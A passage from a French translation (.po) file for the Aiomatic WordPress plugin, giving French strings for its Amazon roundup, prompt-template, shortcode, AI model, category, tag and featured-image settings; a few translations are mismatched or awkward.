légendes dans les messages-guides. Cette " "fonction est utile lorsque les légendes peuvent être très longues." #: res/aiomatic-amazon-list.php:2726 msgid "Amazon Target Country" msgstr "Amazon Pays cible" #: res/aiomatic-amazon-list.php:2742 msgid "" "Do you want to set a minimum price for the imported items? Price is in " "pennies: 1000 is 10$." msgstr "" "Souhaitez-vous fixer un prix minimum pour les articles importés ? Le prix " "est exprimé en centimes : 1000 est 10$." #: res/aiomatic-amazon-list.php:2745 msgid "Min Price in Pennies" msgstr "Prix minimum en centimes" #: res/aiomatic-amazon-list.php:2753 msgid "" "Do you want to set a maximum price for the imported items? Price is in " "pennies: 1000 is 10$." msgstr "" "Souhaitez-vous fixer un prix maximum pour les articles importés ? Le prix " "est exprimé en centimes : 1000 est 10$." #: res/aiomatic-amazon-list.php:2756 msgid "Max Price in Pennies" msgstr "Prix maximum en centimes" #: res/aiomatic-amazon-list.php:2766 msgid "" "Enter the maximum number of products to include in the product roundup " "article. You can also enter number ranges, like: 2-4" msgstr "" "Saisissez le nombre maximum de produits à inclure dans l'article de " "synthèse. Vous pouvez également saisir des fourchettes de nombres, comme par " "exemple : 2-4" #: res/aiomatic-amazon-list.php:2769 msgid "Max Number Of Products To Include" msgstr "Nombre maximum de produits à inclure" #: res/aiomatic-amazon-list.php:2777 msgid "" "Select the type of sorting of the returned results. This will work only if " "you also set a value to the \\'Amazon Category\\' settings field." msgstr "" "Sélectionnez le type de tri des résultats renvoyés. Cela ne fonctionnera que " "si vous avez également défini une valeur dans le champ de configuration " "\"Catégorie Amazon\"." #: res/aiomatic-amazon-list.php:2780 msgid "Sort Results By" msgstr "Trier les résultats par" #: res/aiomatic-amazon-list.php:2797 msgid "APrice:LowToHigh" msgstr "APrice:BasàHaut" #: res/aiomatic-amazon-list.php:2827 msgid "Randomize Product Order" msgstr "Randomiser l'ordre des produits" #: res/aiomatic-amazon-list.php:2846 msgid "Enable First-Hand Experience" msgstr "Permettre une expérience de première main" #: res/aiomatic-amazon-list.php:2864 msgid "Add Product Titles To Content As" msgstr "Ajouter des titres de produits au contenu en tant que" #: res/aiomatic-amazon-list.php:2917 res/aiomatic-rules-list.php:3093 #: res/aiomatic-youtube-list.php:2859 msgid "Number Of Paragraphs Per Section" msgstr "Nombre de paragraphes par section" #: res/aiomatic-amazon-list.php:2929 msgid "Add Product Images To The Article" msgstr "Ajouter des images de produits à l'article" #: res/aiomatic-amazon-list.php:2946 msgid "Add A Relevant YouTube Video To The Article" msgstr "Ajoutez une vidéo YouTube pertinente à l'article" #: res/aiomatic-amazon-list.php:2959 res/aiomatic-rules-list.php:3170 #: res/aiomatic-youtube-list.php:2940 msgid "Set the header text of the outro section header. This is optional." msgstr "" "Définissez le texte du bouton d’envoi. La valeur par défaut est : Soumettre." #: res/aiomatic-amazon-list.php:2962 res/aiomatic-rules-list.php:3173 #: res/aiomatic-youtube-list.php:2943 msgid "Article Outro Section Header Text" msgstr "Texte d'en-tête de la section d'article" #: res/aiomatic-amazon-list.php:2974 res/aiomatic-rules-list.php:3185 #: res/aiomatic-youtube-list.php:2955 msgid "Add Article Table Of Contents Section" msgstr "Ajouter une table des matières à la section de l'article" #: res/aiomatic-amazon-list.php:2992 res/aiomatic-rules-list.php:3203 #: res/aiomatic-youtube-list.php:2973 msgid "Article Table Of Contents Section Header Text" msgstr "Texte d'en-tête de la table des matières de l'article" #: res/aiomatic-amazon-list.php:3004 res/aiomatic-rules-list.php:3215 #: res/aiomatic-youtube-list.php:2985 msgid "Add Article Q&A Section" msgstr "Ajouter des Articles Q&R (questions et réponses)" #: res/aiomatic-amazon-list.php:3019 res/aiomatic-rules-list.php:3230 #: res/aiomatic-youtube-list.php:3000 msgid "Set the header text of the Q&A section header. Default is: Q&A" msgstr "" "Définit le texte de l'en-tête de la section Q&R (Question Réponse). La " "valeur par défaut est : Q&R" #: res/aiomatic-amazon-list.php:3022 res/aiomatic-rules-list.php:3233 #: res/aiomatic-youtube-list.php:3003 msgid "Article Q&A Section Header Text" msgstr "Texte d'en-tête du Q&R (Question Réponse) de l'article" #: res/aiomatic-amazon-list.php:3035 res/aiomatic-rules-list.php:3246 #: res/aiomatic-youtube-list.php:3016 msgid "Content Language" msgstr "Langue du contenu" #: res/aiomatic-amazon-list.php:3047 res/aiomatic-rules-list.php:3258 #: res/aiomatic-single-list.php:538 res/aiomatic-youtube-list.php:3028 msgid "Writing Style" msgstr "Style d'écriture" #: res/aiomatic-amazon-list.php:3059 res/aiomatic-rules-list.php:3270 #: res/aiomatic-single-list.php:593 res/aiomatic-youtube-list.php:3040 msgid "Writing Tone" msgstr "Tonalité de l'écriture" #: res/aiomatic-amazon-list.php:3069 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Prompt à utiliser pour le titre de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%search_keywords%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Mise à jour : les shortcodes imbriqués sont également pris en charge " "(shortcodes générés par des règles provenant d'autres plugins). Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-amazon-list.php:3085 res/aiomatic-rules-list.php:3296 #: res/aiomatic-youtube-list.php:3066 msgid "AI Model For Title Generator" msgstr "Modèle d'IA pour le générateur de titres" #: res/aiomatic-amazon-list.php:3103 #, php-format msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%search_keywords%%, %%all_product_titles%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article intro, leave this prompt blank - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Prompt à utiliser pour l'introduction de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - pour désactiver " "l'intro de l'article, laissez cette invite vide - Mise à jour : les " "shortcodes imbriqués sont également pris en charge (shortcodes générés par " "des règles provenant d'autres plugins). Vous pourrez également utiliser les " "shortcodes personnalisés définis dans la fonctionnalité \"Créateur de " "shortcodes personnalisés\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la fonction " "\"Custom Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:3106 res/aiomatic-rules-list.php:3317 #: res/aiomatic-youtube-list.php:3087 msgid "Article Intro Prompt" msgstr "Prompt d'introduction de l'article" #: res/aiomatic-amazon-list.php:3119 res/aiomatic-rules-list.php:3330 #: res/aiomatic-youtube-list.php:3100 msgid "AI Model For Intro Generator" msgstr "Modèle d'IA pour le générateur d'introduction" #: res/aiomatic-amazon-list.php:3137 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%product_title%%, %%product_description%%, %%language%%, " "%%all_product_titles%%, %%product_author%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, " "%%product_list_price%%, %%offer_img%%, %%price_numeric%%, " "%%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, " "%%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, " "%%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Prompt à utiliser pour le contenu de l'article, qui sera appliquée à chaque " "titre de section généré par le plugin (ou saisi manuellement) ou à " "l'ensemble du contenu (en fonction de ce que vous avez choisi en cochant la " "case \"Utiliser le Prompt de contenu ci-dessus pour créer l'ensemble de " "l'article\"). Vous pouvez utiliser les shortcodes suivants : " "%%product_title%%, %%product_description%%, %%language%%, " "%%all_product_titles%%, %%product_author%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, " "%%product_list_price%%, %%offer_img%%, %%price_numeric%%, " "%%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, " "%%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, " "%%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris " "en charge (shortcodes générés par des règles provenant d'autres plugins). " "Vous pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-amazon-list.php:3153 res/aiomatic-rules-list.php:3398 #: res/aiomatic-youtube-list.php:3168 msgid "AI Model For Content Generator" msgstr "Modèle d'IA pour le générateur de contenu" #: res/aiomatic-amazon-list.php:3171 #, php-format msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%search_keywords%%, %%all_product_titles%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article outro, leave this prompt blank - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour le message Q&R. Vous pouvez utiliser les shortcodes " "suivants : %%search_keywords%%, %%all_product_titles%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - pour désactiver " "l'outro de l'article, laissez cette invite vide - Mise à jour : les " "shortcodes imbriqués sont également pris en charge (shortcodes générés par " "des règles provenant d'autres plugins). Vous pourrez également utiliser les " "shortcodes personnalisés définis dans la fonctionnalité \"Créateur de " "shortcodes personnalisés\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:3174 res/aiomatic-rules-list.php:3437 #: res/aiomatic-youtube-list.php:3207 msgid "Article Q&A Prompt" msgstr "Prompt Q&R (Question Réponse) de l'article" #: res/aiomatic-amazon-list.php:3187 res/aiomatic-rules-list.php:3450 #: res/aiomatic-youtube-list.php:3220 msgid "AI Model For Q&A Generator" msgstr "Modèle d'IA pour le générateur de texte" #: res/aiomatic-amazon-list.php:3205 #, php-format msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%search_keywords%%, %%all_product_titles%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article outro, leave this prompt blank - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour la conclusion du message. Vous pouvez utiliser les " "shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - pour désactiver " "l'outro de l'article, laissez cette invite vide - Mise à jour : les " "shortcodes imbriqués sont également pris en charge (shortcodes générés par " "des règles provenant d'autres plugins). Vous pourrez également utiliser les " "shortcodes personnalisés définis dans la fonctionnalité \"Créateur de " "shortcodes personnalisés\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:3208 res/aiomatic-rules-list.php:3471 #: res/aiomatic-youtube-list.php:3241 msgid "Article Outro Prompt" msgstr "Prompt de Conclusion de l'article" #: res/aiomatic-amazon-list.php:3221 res/aiomatic-rules-list.php:3484 #: res/aiomatic-youtube-list.php:3254 msgid "AI Model For Outro Generator" msgstr "Modèle d'IA pour générateur de la conclusion" #: res/aiomatic-amazon-list.php:3239 #, php-format msgid "" "Prompt to be used for the Post Excerpt. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour l'extrait de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pourrez également utiliser " "les shortcodes personnalisés définis dans la fonctionnalité \"Créateur de " "shortcodes personnalisés\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:3242 res/aiomatic-rules-list.php:3505 #: res/aiomatic-youtube-list.php:3275 msgid "Excerpt Prompt" msgstr "Extrait de Prompt" #: res/aiomatic-amazon-list.php:3255 res/aiomatic-rules-list.php:3518 #: res/aiomatic-youtube-list.php:3288 msgid "AI Model For Excerpt Generator" msgstr "Modèle d'IA pour le générateur d'extraits" #: res/aiomatic-amazon-list.php:3277 res/aiomatic-rules-list.php:3540 #: res/aiomatic-youtube-list.php:3310 msgid "Run Regex On Prompts" msgstr "Exécuter Regex sur les Prompts" #: res/aiomatic-amazon-list.php:3286 res/aiomatic-rules-list.php:3549 #: res/aiomatic-youtube-list.php:3319 msgid "" "Replace the above regex matches with this regex expression. If you want to " "strip matched content from prompts, leave this field blank. No Regex " "separators are required here. You can add multiple replacement expressions, " "each on a different line." msgstr "" "Remplacez les correspondances de regex ci-dessus par cette expression de " "regex. Si vous souhaitez supprimer le contenu correspondant des Prompts, " "laissez ce champ vide. Aucun séparateur Regex n'est requis ici. Vous pouvez " "ajouter plusieurs expressions de remplacement, chacune sur une ligne " "différente." #: res/aiomatic-amazon-list.php:3289 res/aiomatic-rules-list.php:3552 #: res/aiomatic-youtube-list.php:3322 msgid "Replace Matches From Regex (Prompts)" msgstr "Remplacer les correspondances à partir de Regex (Prompts)" #: res/aiomatic-amazon-list.php:3301 res/aiomatic-rules-list.php:3564 #: res/aiomatic-youtube-list.php:3334 msgid "Run Above Regex On Prompts" msgstr "Exécuter au-dessus de Regex sur les Prompts" #: res/aiomatic-amazon-list.php:3324 res/aiomatic-rules-list.php:3790 #: res/aiomatic-youtube-list.php:3357 msgid "Prepend Text To All Textual AI Prompts" msgstr "Prédire le texte à toutes les Prompts textuelles de l'IA" #: res/aiomatic-amazon-list.php:3337 res/aiomatic-rules-list.php:3803 #: res/aiomatic-youtube-list.php:3370 msgid "Append Text To All Textual AI Prompts" msgstr "Ajouter du texte à toutes les Prompts textuelles de l'IA" #: res/aiomatic-amazon-list.php:3350 res/aiomatic-rules-list.php:3816 #: res/aiomatic-youtube-list.php:3383 msgid "Automatic Linking Type" msgstr "Type de liaison automatique (linking)" #: res/aiomatic-amazon-list.php:3383 res/aiomatic-rules-list.php:3849 #: res/aiomatic-youtube-list.php:3416 msgid "Maximum Number Of Automatic Links To Add To The Post Content" msgstr "" "Nombre maximum de liens à ajouter automatiquement au contenu de l'article" #: res/aiomatic-amazon-list.php:3394 res/aiomatic-rules-list.php:3860 #: res/aiomatic-youtube-list.php:3427 msgid "Manual List Of URLs (One Per Line)" msgstr "Liste d'URL à ajouter manuellement (une par ligne)" #: res/aiomatic-amazon-list.php:3406 res/aiomatic-rules-list.php:3872 #: res/aiomatic-youtube-list.php:3439 msgid "Post Types Where To Generate Automatic Links" msgstr "Types de messages où générer des liens automatiques" #: res/aiomatic-amazon-list.php:3415 res/aiomatic-rules-list.php:3881 #: res/aiomatic-youtube-list.php:3448 msgid "Do you want to automatically add post categories from the feed items?" msgstr "" "Souhaitez-vous ajouter automatiquement des catégories d'articles à partir " "des éléments du flux ?" #: res/aiomatic-amazon-list.php:3418 res/aiomatic-rules-list.php:3884 #: res/aiomatic-youtube-list.php:3451 msgid "Auto Add Categories" msgstr "Ajouter automatiquement des catégories" #: res/aiomatic-amazon-list.php:3452 res/aiomatic-rules-list.php:3918 #: res/aiomatic-youtube-list.php:3485 msgid "" "Select the AI Model to be used for the category generator. You can add this " "to the post categories, if you select 'AI Generated Categories' in the 'Auto " "Add Categories' settings field." msgstr "" "Sélectionnez le modèle d'IA à utiliser pour le générateur de catégories. " "Vous pouvez l'ajouter aux catégories d'articles si vous sélectionnez " "\"Catégories générées par l'IA\" dans le champ de configuration \"Ajout " "automatique de catégories\"." #: res/aiomatic-amazon-list.php:3455 res/aiomatic-rules-list.php:3921 #: res/aiomatic-youtube-list.php:3488 msgid "AI Model For The Category Generator" msgstr "Modèle d'IA pour le générateur de catégories" #: res/aiomatic-amazon-list.php:3473 res/aiomatic-youtube-list.php:3506 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI " "category generator. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You can also add here a link to a .txt file, where you can add " "multiple prompts (one per line) and the plugin will select a random one at " "each run. You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Définissez la liste des commandes d'invite (une par ligne) que vous " "souhaitez envoyer au générateur de catégories OpenAI. Vous pouvez utiliser " "les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien " "vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux " "RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les " "shortcodes supplémentaires suivants : %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette " "commande ne doit pas être supérieure au nombre maximum de jetons défini dans " "les paramètres de la commande d'invite - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers " "un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par " "ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonction \"Custom Shortcode Creator\" à partir des paramètres de la règle - " "cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:3476 res/aiomatic-rules-list.php:3942 #: res/aiomatic-youtube-list.php:3509 msgid "Prompt For The OpenAI Category Generator" msgstr "Prompt pour le générateur de catégories OpenAI" #: res/aiomatic-amazon-list.php:3488 res/aiomatic-rules-list.php:3954 #: res/aiomatic-youtube-list.php:3521 msgid "Additional Post Category" msgstr "Catégorie d'article supplémentaire" #: res/aiomatic-amazon-list.php:3525 res/aiomatic-rules-list.php:3991 #: res/aiomatic-youtube-list.php:3558 msgid "" "This feature will try to remove the WordPress\\'s default post category. " "This may fail in case no additional categories are added, because WordPress " "requires at least one post category for every post." msgstr "" "Cette fonctionnalité va essayer de supprimer la catégorie d'articles par " "défaut de WordPress. Cela peut échouer si aucune catégorie supplémentaire " "n'est ajoutée, car WordPress exige au moins une catégorie pour chaque " "article." #: res/aiomatic-amazon-list.php:3528 res/aiomatic-rules-list.php:3994 #: res/aiomatic-youtube-list.php:3561 msgid "Remove WP Default Post Category" msgstr "Supprimer la catégorie d'article par défaut de WP" #: res/aiomatic-amazon-list.php:3545 res/aiomatic-rules-list.php:4011 #: res/aiomatic-youtube-list.php:3578 msgid "Do Not Add Inexisting Categories" msgstr "N'ajoutez pas de catégories inexistantes" #: res/aiomatic-amazon-list.php:3560 res/aiomatic-rules-list.php:4026 #: res/aiomatic-youtube-list.php:3593 msgid "Do you want to automatically add post tags from the feed items?" msgstr "" "Souhaitez-vous ajouter automatiquement des étiquettes de messages à partir " "des éléments du flux ?" #: res/aiomatic-amazon-list.php:3563 res/aiomatic-rules-list.php:4029 #: res/aiomatic-youtube-list.php:3596 msgid "Auto Add Tags" msgstr "Ajouter automatiquement des balises / Tags" #: res/aiomatic-amazon-list.php:3597 res/aiomatic-rules-list.php:4063 #: res/aiomatic-youtube-list.php:3630 msgid "" "Select the AI Model to be used for the tag generator. You can add this to " "the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' " "settings field." msgstr "" "Sélectionnez le modèle d'IA à utiliser pour le générateur de balises. Vous " "pouvez l'ajouter aux balises de l'article si vous sélectionnez \"IA " "Generated Tags\" dans le champ de configuration \"Auto Add Tags\"." #: res/aiomatic-amazon-list.php:3600 res/aiomatic-rules-list.php:4066 #: res/aiomatic-youtube-list.php:3633 msgid "AI Model For The Post Tag Generator" msgstr "Modèle d’IA pour le générateur de Tag de messages" #: res/aiomatic-amazon-list.php:3618 res/aiomatic-youtube-list.php:3651 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI " "tag generator. You can use the following shortcodes here: %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add " "a link to a TXT file, containing keywords (one per line), or to an RSS feed. " "If you use RSS feeds, you can also use the following additional shortcodes: " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " "length of this command should not be greater than the max token count set in " "the settings for the prompt command - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" "Définissez la liste des commandes d'invite (une sur chaque ligne) que vous " "souhaitez envoyer au générateur de balises OpenAI. Vous pouvez utiliser les " "shortcodes suivants ici : %%post_title%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien " "vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux " "RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les " "shortcodes supplémentaires suivants : %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette " "commande ne doit pas être supérieure au nombre maximum de jetons défini dans " "les paramètres de la commande d'invite - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers " "un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par " "ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonction \"Custom Shortcode Creator\" à partir des paramètres de la règle - " "cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:3621 res/aiomatic-rules-list.php:4087 #: res/aiomatic-youtube-list.php:3654 msgid "Prompt For The OpenAI Post Tag Generator" msgstr "Prompt pour le générateur de balises / Tags de publication OpenAI" #: res/aiomatic-amazon-list.php:3633 res/aiomatic-rules-list.php:4099 #: res/aiomatic-youtube-list.php:3666 msgid "Additional Post Tags" msgstr "Balises Tags de publication supplémentaires" #: res/aiomatic-amazon-list.php:3647 res/aiomatic-rules-list.php:4113 #: res/aiomatic-youtube-list.php:3680 msgid "Maximum Total Token Count To Use Per API Request" msgstr "Nombre maximal de jetons à utiliser par demande d'API" #: res/aiomatic-amazon-list.php:3658 res/aiomatic-rules-list.php:4124 #: res/aiomatic-youtube-list.php:3691 msgid "Maximum Prompt Token Count To Use Per API Request" msgstr "Nombre maximal de jetons du Prompt à utiliser par demande d’API" #: res/aiomatic-amazon-list.php:3669 res/aiomatic-rules-list.php:4135 #: res/aiomatic-youtube-list.php:3702 msgid "Maximum Continue Token Count To Use Per API Request" msgstr "Nombre maximal de jetons à utiliser par demande d’API" #: res/aiomatic-amazon-list.php:3692 res/aiomatic-rules-list.php:4158 #: res/aiomatic-youtube-list.php:3725 msgid "AI Top_p" msgstr "IA Top_p" #: res/aiomatic-amazon-list.php:3704 res/aiomatic-rules-list.php:4170 #: res/aiomatic-youtube-list.php:3737 msgid "AI Presence Penalty" msgstr "Pénalité de présence de l'IA" #: res/aiomatic-amazon-list.php:3716 res/aiomatic-rules-list.php:4182 #: res/aiomatic-youtube-list.php:3749 msgid "AI Frequency Penalty" msgstr "Pénalité de fréquence de l'IA" #: res/aiomatic-amazon-list.php:3726 res/aiomatic-rules-list.php:4192 #: res/aiomatic-youtube-list.php:3759 msgid "" "Do you want to set a featured image for the created post (royalty free or AI " "generated)? Please note that for this feature to function you must configure " "the plugin (add API keys) in the plugin\\'s \\'Main Settings\\' menu -> " "\\'Royalty Free Featured Image Importing Options\\' section." msgstr "" "Souhaitez-vous définir une image vedette pour l'article créé (libre de " "droits ou générée par l'IA) ? Veuillez noter que pour que cette " "fonctionnalité fonctionne, vous devez configurer le plugin (ajouter les clés " "API) dans le menu \"Paramètres principaux\" du plugin -> section \"Options " "d'importation de l'image vedette libre de droits\"." #: res/aiomatic-amazon-list.php:3729 res/aiomatic-rules-list.php:4195 #: res/aiomatic-youtube-list.php:3762 msgid "Auto Set A Featured Image For Posts (Select Source Below)" msgstr "" "Définir automatiquement une image vedette pour les articles (Sélectionnez la " "source ci-dessous)" #: res/aiomatic-amazon-list.php:3758 res/aiomatic-rules-list.php:4212 #: res/aiomatic-youtube-list.php:3791 msgid "Search Query Repetition" msgstr "Répétition des requêtes de recherche" #: res/aiomatic-amazon-list.php:3780 res/aiomatic-rules-list.php:4234 #: res/aiomatic-youtube-list.php:3813 msgid "AI Image Source" msgstr "IA Image Source" #: res/aiomatic-amazon-list.php:3787 res/aiomatic-rules-list.php:4241 #: res/aiomatic-youtube-list.php:3820 msgid "Roylaty Free" msgstr "Roylaty gratuit" #: res/aiomatic-amazon-list.php:3804 res/aiomatic-youtube-list.php:3837 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on " "which, it will generate images. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "The length of this command should not be greater than 1000 characters, " "otherwise the plugin will strip it to 1000 characters length. - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You can also add here a link to a .txt file, where you can add " "multiple prompts (one per line) and the plugin will select a random one at " "each run. If you use Royalty Free Images as a source, you can also set their " "keywords here, if no keywords set, they will be automatically generated. You " "will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer " "au générateur d'images AI. Cette commande peut être n'importe quelle tâche " "ou ordre donné, sur la base duquel le générateur d'images génèrera des " "images. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%. La longueur de " "cette commande ne doit pas être supérieure à 1000 caractères, sinon le " "plugin la réduira à 1000 caractères. - Mise à jour : les shortcodes " "imbriqués sont 